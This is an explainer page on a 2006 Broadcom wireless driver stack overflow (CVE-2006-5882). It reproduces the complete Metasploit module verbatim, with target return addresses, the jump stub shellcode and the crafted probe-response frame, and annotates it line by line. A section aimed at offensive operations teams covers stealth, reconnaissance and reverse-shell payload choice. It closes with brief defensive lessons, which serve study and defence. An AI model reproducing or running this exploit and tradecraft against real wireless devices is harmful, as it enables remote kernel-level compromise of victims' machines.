Broadcom Wireless Driver - Probe Response SSID Overflow Explained

What this paper is

This paper details a security vulnerability in Broadcom wireless drivers, specifically a stack buffer overflow. The vulnerability can be triggered by sending a specially crafted 802.11 probe response frame. This frame contains an excessively long SSID (Service Set Identifier), which overwrites a buffer on the stack within the wireless driver. This overwrite can then be manipulated to redirect program execution to attacker-controlled code, leading to remote code execution in kernel mode. The exploit requires knowledge of the target's MAC address and is designed to be executed from a Linux system with a compatible wireless card and the Lorcon2 library.

Simple technical breakdown

Imagine a small box (a buffer) designed to hold a short name (an SSID). If you try to put a very, very long name into that box, it will spill out and mess up whatever is next to it. In this case, the "box" is a memory area on the computer's stack, and the "spill" overwrites critical information, including the return address, which tells the program where to go next after a function finishes. By carefully crafting the long SSID, an attacker can make the program jump to malicious code instead of returning to its normal execution path. This malicious code then runs with the highest privileges (kernel mode), giving the attacker significant control over the system.

Complete code and payload walkthrough

The provided code is a Metasploit module written in Ruby. It's designed to exploit the Broadcom wireless driver vulnerability. Let's break down the key parts:

1. Module Initialization (initialize method):

• require 'msf/core': Imports the core Metasploit Framework library.
• class Metasploit3 < Msf::Exploit::Remote: Defines the module as a remote exploit.
• Rank = LowRanking: Assigns a low ranking to this exploit, indicating it might be less reliable or have specific prerequisites.
• include Msf::Exploit::Lorcon2: Includes functionality for using the Lorcon2 library, which is essential for raw 802.11 frame manipulation.
• include Msf::Exploit::KernelMode: Indicates that this exploit aims for kernel-mode execution.
• def initialize(info = {}): The constructor for the module.
  • super(update_info(info, ...)): Initializes the module with metadata.
    • 'Name': 'Broadcom Wireless Driver Probe Response SSID Overflow' - The name of the exploit.
    • 'Description': Explains the vulnerability, how it's triggered (long SSID in probe response), the requirement for the target MAC address, and the tested MAC address ranges. It also mentions the dependency on Lorcon2 and Linux.
    • 'Author': Lists the individuals credited with discovering and porting the exploit.
    • 'License': MSF_LICENSE - Standard Metasploit license.
    • 'Version': '$Revision: 9669 $' - Version control information.
    • 'References': Links to CVE, OSVDB, and other relevant advisories.
    • 'Privileged' => true: Indicates that the exploit requires elevated privileges on the attacking system (to use raw sockets for wireless).
    • 'DefaultOptions':
      • 'EXITFUNC' => 'thread': Specifies how the payload should exit after execution.
    • 'Payload':
      • 'Space' => 500: Defines the maximum size for the payload.
    • 'Platform' => 'win': The target platform is Windows.
    • 'Targets': Defines different configurations for various Windows versions and driver builds. Each target specifies:
      • A descriptive name (e.g., 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10').
      • 'Ret': The crucial return address, which is a memory address pointing to a jmp edi instruction in the vulnerable driver. This is where execution will be redirected.
      • 'Platform': 'win'.
      • 'Payload': Contains ExtendedOptions for the payload, including:
        • 'Stager' => 'sud_syscall_hook': A specific stager type.
        • 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF": Assembly instruction add esp, -3500 (in hex 0xFFFFF254), used to adjust the stack pointer.
        • 'Recovery' => 'idlethread_restart': A recovery mechanism.
        • 'KiIdleLoopAddress': A specific address within the kernel related to the idle loop, likely used for payload staging or recovery.
    • 'DefaultTarget' => 0: Sets the first target as the default.
    • 'DisclosureDate' => 'Nov 11 2006': The date the vulnerability was publicly disclosed.
  • register_options(...): Registers command-line options for the user:
    • OptString.new('ADDR_DST', ...): The MAC address of the target system (defaults to broadcast FF:FF:FF:FF:FF:FF).
    • OptInt.new('RUNTIME', ...): The duration in seconds to send frames (defaults to 60).

2. Exploit Execution (exploit method):

• open_wifi: A method (likely inherited from Msf::Exploit::Lorcon2) to initialize and open the wireless interface.
• stime = Time.now.to_i: Records the start time.
• print_status(...): Informs the user about the attack duration.
• while (stime + datastore['RUNTIME'].to_i > Time.now.to_i): A loop that continues for the specified RUNTIME.
  • select(nil, nil, nil, 0.02): Pauses execution for a short duration (20ms).
  • wifi.write(create_response): Sends a crafted probe response frame.
  • select(nil, nil, nil, 0.01): Another short pause.
  • wifi.write(create_beacon): Sends a crafted beacon frame.
  • break if session_created?: Exits the loop if a Metasploit session is successfully established.
• print_status("Finished sending frames..."): Informs the user that the sending loop has completed.

3. Frame Creation (create_beacon, create_response, create_frame methods):

These methods are responsible for constructing the raw 802.11 frames.

• create_beacon and create_response:

  • src = eton('90:e9:75:00:00:00'): Sets the source MAC address. The comment "# relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93" is a critical hint about how the payload is structured and how the SSID length is used. 90:e9 is likely the start of shellcode.
  • dst = eton('FF:FF:FF:FF:FF:FF') (for beacon) / dst = eton(datastore['ADDR_DST']) (for response): Sets the destination MAC address. Broadcast for beacons, target's MAC for responses.
  • seq = [Time.now.to_i % 4096].pack('n') / seq = [Time.now.to_i % 256].pack('n'): Generates a sequence number.
  • blob = create_frame: Calls create_frame to get the base frame structure.
  • blob[0,1] = 0x80.chr (beacon) / blob[0,1] = 0x50.chr (response): Sets the frame type and subtype. 0x80 is for Beacon frames, 0x50 is for Probe Response frames.
  • blob[4,6] = dst, blob[10,6] = src, blob[16,6] = src: Populates the destination, source, and BSSID (Basic Service Set Identifier) fields of the Ethernet header within the 802.11 frame.
  • blob[22,2] = seq: Sets the sequence number.

• create_frame: This is the core function for building the 802.11 frame payload.

  • "\x80" + ...: Starts building the frame.
  • "\x00": Flags.
  • "\x00\x00": Duration.
  • eton(datastore['ADDR_DST']): Destination MAC.
  • "\x58\x58\x58\x58\x58\x58": Source MAC (placeholder, will be overwritten by src in create_beacon/create_response).
  • "\x58\x58\x58\x58\x58\x58": BSSID (placeholder, will be overwritten).
  • "\x70\xed": Sequence number (placeholder, will be overwritten).
  • rand_text_alphanumeric(8): Timestamp value (random 8 bytes).
  • "\x64\x00": Beacon interval (100ms).
  • "\x11\x04": Capability flags (e.g., privacy, ESS).
  • "\x00": Tag: SSID parameter set.
  • "\x5d": Length: This is the critical part. 0x5d is 93 in decimal. This sets the SSID length to 93 bytes.
  • "\x89\xf9": mov edi, ecx - Instruction to move the value of ecx into edi.
  • "\x81\xc1\x7b\x00\x00\x00": add ecx, 0x7b - Instruction to add 123 (0x7b) to ecx. This is likely adjusting ecx to point to the start of the shellcode after the overflow.
  • "\xff\xe1": jmp ecx - Unconditional jump to the address in ecx. This is the jump into the shellcode.
  • rand_text_alphanumeric(79): Padding to fill the rest of the SSID buffer up to the point where the return address is expected.
  • [target.ret].pack('V'): This is the return address. It's packed as a little-endian 32-bit value (V) and is set to the Ret value defined in the target configuration (e.g., 0x8066662c). This address points to the jmp edi instruction.
  • "\xdd": Tag: Vendor Specific (WPA).
  • "\xff": Length: Maximum possible length for this tag.
  • payload.encoded: This is the actual shellcode generated by Metasploit. It's appended after the overflowed SSID and the return address.

Code Fragment/Block -> Practical Purpose Mapping:

• require 'msf/core' -> Loads Metasploit's core functionalities.
• include Msf::Exploit::Lorcon2 -> Enables raw 802.11 frame manipulation.
• Rank = LowRanking -> Indicates potential unreliability or specific conditions.
• 'Privileged' => true -> Requires elevated privileges on the attacker's machine.
• 'Platform' => 'win' -> Target operating system is Windows.
• 'Targets' -> Defines specific configurations for different Windows/driver versions.
• 'Ret' => 0x8066662c (example) -> The memory address to jump to for code execution.
• 'Payload' => { 'Space' => 500 } -> Maximum size for the shellcode.
• register_options(...) -> Allows user configuration of target MAC and runtime.
• open_wifi -> Initializes the wireless interface for sending raw frames.
• while (stime + datastore['RUNTIME'].to_i > Time.now.to_i) -> Loop to continuously send frames for a set duration.
• wifi.write(create_response) -> Sends a crafted probe response.
• wifi.write(create_beacon) -> Sends a crafted beacon.
• create_frame -> Generates the base 802.11 frame structure.
• "\x5d" (SSID Length) -> Sets the SSID length to 93 bytes, triggering the overflow.
• "\x89\xf9", "\x81\xc1\x7b\x00\x00\x00", "\xff\xe1" -> Small piece of shellcode within the SSID to adjust registers and jump to the main payload.
• [target.ret].pack('V') -> Overwrites the return address on the stack with the exploit's target address.
• payload.encoded -> The actual Metasploit shellcode that will be executed.

Shellcode/Payload Segments:

The payload.encoded is the Metasploit-generated shellcode. The exploit code itself contains a small stub within the SSID data that prepares for the jump to the main payload.

• SSID Stub (within create_frame):

  • "\x89\xf9" (mov edi, ecx): Copies the value of ecx (which likely points to the start of the shellcode after the overflow) into edi.
  • "\x81\xc1\x7b\x00\x00\x00" (add ecx, 0x7b): Adjusts ecx by adding 123 bytes. This is to align ecx correctly to the actual start of the shellcode, accounting for any header or preamble.
  • "\xff\xe1" (jmp ecx): Jumps to the adjusted address in ecx.

• Main Payload (payload.encoded): This is the standard Metasploit shellcode. Its exact contents depend on the target architecture and options, but it typically includes:

  • Stager: A small piece of code that sets up the environment for the larger stage.
  • Stage: The main payload code that performs the desired action (e.g., opening a reverse shell, executing commands).
  • The ExtendedOptions like Stager: 'sud_syscall_hook', PrependUser: "\x81\xC4\x54\xF2\xFF\xFF", and Recovery: 'idlethread_restart' influence how this main payload is constructed and executed. The PrependUser instruction add esp, -3500 is particularly important as it reserves a large chunk of stack space for the payload to use.

Practical details for offensive operations teams

• Required Access Level:

  • Attacker Machine: Requires root/administrator privileges to bind to raw sockets and control the wireless interface using libraries like Lorcon2.
  • Target Machine: No prior access is needed; this is a remote exploit.

• Lab Preconditions:

  • Attacker Machine: A Linux system is mandatory. A supported wireless network interface card (NIC) compatible with Lorcon2 is essential. The Lorcon2 library and its Ruby bindings must be installed. Metasploit Framework must be set up.
  • Target Environment: A Windows machine with a vulnerable Broadcom wireless driver installed. The target must be within wireless range and discoverable via Wi-Fi probes. The attacker needs to know the target's MAC address.

• Tooling Assumptions:

  • Metasploit Framework.
  • Lorcon2 library and its Ruby interface.
  • A compatible wireless NIC.
  • A way to determine the target's MAC address (e.g., network scanning, prior reconnaissance).

• Execution Pitfalls:

  • Wireless Card Compatibility: Lorcon2 support for the wireless card can be a significant hurdle. Not all cards work out-of-the-box.
  • Driver Version Mismatch: The exploit is highly dependent on the specific driver version. If the target has a patched or different version, the exploit will likely fail. The Targets section in the code highlights this sensitivity.
  • Network Conditions: Frame injection can be unreliable. Packet loss, interference, or network congestion can cause the crafted frames to be dropped, preventing the exploit from reaching the target.
  • MAC Address Accuracy: The target MAC address must be correct.
  • SSID Length Tuning: The exact overflow length and the stub shellcode (\x89\xf9, \x81\xc1\x7b\x00\x00\x00, \xff\xe1) are precisely tuned for the driver's buffer size and the payload's structure. Minor changes in the payload or driver can break this. The comment "# relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93" is a strong indicator of this tight coupling.
  • Firewalls/IDS: While this exploit targets the driver directly, network-level defenses might detect unusual 802.11 traffic patterns, though it's less likely for raw frame injection compared to IP-level attacks.
  • Target System Load: If the target system is under heavy load, the timing of the overflow and subsequent execution might be affected.

• Tradecraft Considerations:

  • Stealth: Sending raw 802.11 frames can be noisy and detectable by wireless intrusion detection systems (WIDS) or by monitoring wireless traffic. The continuous sending loop for RUNTIME seconds is not stealthy.
  • Reconnaissance: Identifying the target's MAC address and, ideally, its wireless driver version is crucial for successful exploitation. This requires prior reconnaissance.
  • Payload Selection: The choice of payload is critical. A reverse shell is common, but care must be taken to ensure the target can connect back to the attacker's C2 infrastructure.
  • Environmental Awareness: Understanding the wireless environment (channel, interference, other APs) is important for reliable frame injection.

Where this was used and when

This vulnerability was disclosed in November 2006. Exploits like this, targeting specific driver versions, were common in the mid-2000s as wireless networking security was still maturing. While this specific exploit might not be actively used against modern, patched systems, the technique of exploiting driver vulnerabilities via malformed frames is a recurring theme. It would have been relevant for penetration testers and potentially malicious actors targeting organizations or individuals using older hardware with unpatched Broadcom wireless drivers around 2006-2008.

Defensive lessons for modern teams

• Patch Management: The most crucial defense is to keep all system drivers, especially network drivers, up-to-date. Vendor patches are designed to fix these types of vulnerabilities.
• Driver Verification: Implement policies to ensure only approved and updated drivers are installed on endpoints.
• Network Segmentation: While not directly preventing the driver exploit, network segmentation can limit the lateral movement and impact of a compromised system.
• Wireless Intrusion Detection Systems (WIDS): Deploy and configure WIDS to monitor for anomalous 802.11 traffic, including malformed frames or excessive probe responses.
• Endpoint Detection and Response (EDR): Modern EDR solutions can detect kernel-mode code execution and suspicious driver behavior, even if the initial exploit vector is obscure.
• Hardware Lifecycle Management: Regularly audit and replace aging hardware that may no longer receive security updates.
• Secure Configuration: Ensure wireless cards are configured securely and not left with default or vulnerable settings.

ASCII visual (if applicable)

This exploit involves direct manipulation of wireless frames and interaction with the operating system's kernel. A visual representation of the frame structure and the stack overflow would be most illustrative.

+-----------------------+
|  802.11 Frame Header  |
+-----------------------+
|  Fixed Parameters     |
+-----------------------+
|  Tagged Parameters    |
| +-------------------+ |
| | SSID Tag (0x00)   | |
| | SSID Length (0x5d)| | <--- This length (93 bytes) is the trigger
| |-------------------| |
| | Overflow Stub     | | <--- "\x89\xf9\x81\xc1\x7b\x00\x00\x00\xff\xe1"
| | Padding (79 bytes)| |
| | Return Address    | | <--- Overwritten by target.ret (e.g., 0x8066662c)
| +-------------------+ |
| | Vendor Specific   | |
| | Tag (0xdd)        | |
| | Length (0xff)     | |
| | Shellcode         | | <--- payload.encoded
| +-------------------+ |
+-----------------------+

Explanation:

The create_frame function constructs an 802.11 frame. The critical part is the "SSID Tag" where the length is set to 0x5d (93 bytes). This is much larger than a typical SSID. The data following the length field is intended to be the SSID itself. However, because the length is so large, it overflows the buffer allocated for the SSID on the stack.

The overflow stub (\x89\xf9...) is placed within this oversized SSID data. It prepares the execution flow. The Return Address field, which is normally used to return from a function, is overwritten by the exploit's target.ret value. This address points to a jmp edi instruction within the vulnerable driver. When the function attempts to return, it jumps to this address, effectively executing the jmp edi instruction. The overflow stub ensures that edi (and ecx) are set up to point to the actual shellcode, which is placed after the jmp edi address, within the "Vendor Specific" tag.

Source references

• PAPER ID: 2770
• PAPER TITLE: Broadcom Wireless Driver - Probe Response SSID Overflow (Metasploit)
• AUTHOR: H D Moore
• PUBLISHED: 2006-11-13
• PAPER URL: https://www.exploit-db.com/papers/2770
• RAW URL: https://www.exploit-db.com/raw/2770

Original Exploit-DB Content (Verbatim)

##
# $Id: broadcom_wifi_ssid.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Lorcon2
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Broadcom Wireless Driver Probe Response SSID Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Broadcom Wireless driver
				that allows remote code execution in kernel mode by sending a 802.11 probe
				response that contains a long SSID. The target MAC address must
				be provided to use this exploit. The two cards tested fell into the
				00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.

				This module depends on the Lorcon2 library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon2 documentation
				(external/ruby-lorcon/README) for more information.
			},
			'Author'         =>
				[
					'Chris Eagle',	# initial discovery
					'Johnny Cache <johnnycsh [at] 802.11mercenary.net>', # the man with the plan
					'skape', # windows kernel ninjitsu and debugging
					'hdm' # porting the C version to ruby
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					['CVE', '2006-5882'],
					['OSVDB', '30294'],
					['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
					[ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
						{
							'Ret'      => 0x8066662c, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dbb27,

								}
							}
						}
					],

					# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
					[ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
						{
							'Ret'      => 0x804f16eb, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dc0c7,
								}
							}
						}
					]
				],
			'DefaultTarget' => 0,
			'DisclosureDate'  => 'Nov 11 2006'
			))

		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
				OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
			], self.class)
	end

	def exploit
		open_wifi

		stime = Time.now.to_i

		print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...")

		while (stime + datastore['RUNTIME'].to_i > Time.now.to_i)

			select(nil, nil, nil, 0.02)
			wifi.write(create_response)

			select(nil, nil, nil, 0.01)
			wifi.write(create_beacon)

			break if session_created?

		end

		print_status("Finished sending frames...")
	end

	def create_beacon
		src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
		dst = eton('FF:FF:FF:FF:FF:FF')
		seq = [Time.now.to_i % 4096].pack('n')

		blob = create_frame
		blob[0,1] = 0x80.chr
		blob[4,6] = dst
		blob[10,6] = src
		blob[16,6] = src
		blob[22,2] = seq

		blob
	end

	def create_response
		src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
		dst = eton(datastore['ADDR_DST'])
		seq = [Time.now.to_i % 256].pack('n')

		blob = create_frame
		blob[0,1] = 0x50.chr
		blob[4,6] = dst
		blob[10,6] = src
		blob[16,6] = src # bssid field, good idea to set to src.
		blob[22,2] = seq

		blob
	end

	def create_frame
		"\x80" +                      # type/subtype
		"\x00" +                      # flags
		"\x00\x00" +                  # duration
		eton(datastore['ADDR_DST']) + # dst
		"\x58\x58\x58\x58\x58\x58" +  # src
		"\x58\x58\x58\x58\x58\x58" +  # bssid
		"\x70\xed" +                  # sequence number

		#
		# fixed parameters
		#

		# timestamp value
		rand_text_alphanumeric(8) +
		"\x64\x00" +                  # beacon interval
		"\x11\x04" +                  # capability flags

		#
		# tagged parameters
		#

		# ssid tag
		"\x00" + # tag: SSID parameter set
		"\x5d" + # len: length is 93 bytes

		# jump into the payload
		"\x89\xf9" +                 # mov edi, ecx
		"\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
		"\xff\xe1" +                 # jmp ecx

		# padding
		rand_text_alphanumeric(79) +

		# return address
		[target.ret].pack('V') +

		# vendor specific tag
		"\xdd" + # wpa
		"\xff" + # big as we can make it

		# the kernel-mode stager
		payload.encoded
	end

end